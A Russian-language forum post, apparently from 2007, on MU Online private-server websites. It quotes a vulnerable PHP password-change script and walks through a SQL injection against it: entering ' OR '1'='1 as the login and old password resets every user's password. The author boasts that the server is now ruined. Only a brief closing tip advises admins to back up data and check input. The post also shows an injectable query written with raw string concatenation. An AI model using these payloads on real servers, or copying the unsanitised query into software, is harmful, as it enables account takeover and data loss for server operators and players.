avatar_Everybody

Acc Delete в MU Online: Решение проблемы с помощью изменения пароля

Автор Everybody, 2007 Окт. 25, 23:54

« назад - далее »

0 Пользователи и 3 гостей просматривают эту тему.

Ключевые слова [SEO] mu onlineсмена пароляскрипт.acc delete

Everybody

Многие сталкивались с проблемой , когда сервер поврежден , админ в панике -  это сломали опять аккаунты?  :laughing:
Происходит такое большинство на самописных сайтах.
Скрипт смены пароля. Change password содержит внутри
$sql_pw_check = mssql_query("SELECT memb__pwd FROM MEMB_INFO WHERE memb__pwd='$oldpwd' and memb___id='$login'");
$pw_check = mssql_num_rows($sql_pw_check);
Нас интересует код
memb__pwd='$oldpwd' and memb___id='$login' тоесть из этого следует, что если мы введём вместо пароля (зная логин) этот код: ' OR '1'='1 то скрипт выполнит совсем другую функцию:
$sql_pw_check = mssql_query("SELECT memb__pwd FROM MEMB_INFO WHERE memb__pwd='$oldpwd' OR '1'='1' and memb___id='$login'");
$pw_check = mssql_num_rows($sql_pw_check);
Расмотрим подробно что будет выполняться:
memb__pwd='$oldpwd' OR '1'='1'из этого следует что при проверке пароля если даже его нету, а 1=1 (а это всегда так) то пароль будет изменён.
Для всех аккаунтов внести изменение пароля я думаю вы уже догадались как ...
login: ' OR '1'='1
Pass: ' OR '1'='1
new pass: ljuboypass

И скрипт выполнится для всех пользователей. Сервер теперь вами испорчен :tongue:
Администраторам совет:
Если вы не владеете знаниями php, то делайте почаще Backup DB но лучше проверьте на SQL injection при вводе или проверки вводимых символов и не стоит скачивать откуда попало вебсайт (во многих случаях не проверенные люди распостраняют вебсайты для серверов с уже заблаговременно содержащими уязвимость и т.д.).

Похожие темы (5)